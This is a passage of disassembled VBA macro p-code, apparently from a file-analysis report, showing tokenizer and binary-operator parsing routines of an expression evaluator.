' FnLen
' Gt
' Or
' LitStr 0x000E "Illegal char: "
' Ld expression
' Ld expressionIndex
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' Concat
' ArgsCall Utils_Assert 0x0002
' Line #52:
' EndSub
' Line #53:
' FuncDefn (Private Sub Tokens_AssertAndNext(token As String))
' Line #54:
' Ld token
' Ld currentToken
' Eq
' LitStr 0x000F "missing token: "
' Ld token
' Concat
' ArgsCall Utils_Assert 0x0002
' Line #55:
' ArgsCall Tokens_Next 0x0000
' Line #56:
' EndSub
' Line #57:
' LineCont 0x0008 08 00 01 00 0F 00 01 00
' ConstFuncExpr
' LitVarSpecial (False)
' LitVarSpecial (False)
' FuncDefn (Private Function Tokens_MoveCharPointer(str As String, Optional stopAtStr As Boolean, Optional singleCharOnly As Boolean) As Boolean)
' Line #58:
' LineCont 0x0004 07 00 01 00
' Ld expressionIndex
' Ld expression
' FnLen
' Le
' Ld stopAtStr
' Ld str
' Ld expression
' Ld expressionIndex
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' FnInStr
' LitDI2 0x0000
' Gt
' Paren
' Ne
' And
' While
' Line #59:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #60:
' LitVarSpecial (True)
' St Tokens_MoveCharPointer
' Line #61:
' Ld singleCharOnly
' If
' BoSImplicit
' ExitFunc
' EndIf
' Line #62:
' Wend
' Line #63:
' EndFunc
' Line #64:
' FuncDefn (Private Function Parse_FindBinaryOp(token As String, ByRef op As Variant) As Boolean)
' Line #65:
' LitVarSpecial (True)
' St Parse_FindBinaryOp
' Line #66:
' Ld token
' SelectCase
' Line #67:
' LitStr 0x0002 "||"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x000E "orshortcircuit"
' LitDI2 0x0001
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #68:
' LitStr 0x0002 "&&"
' Case
' CaseDone
' BoS 0x0000
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.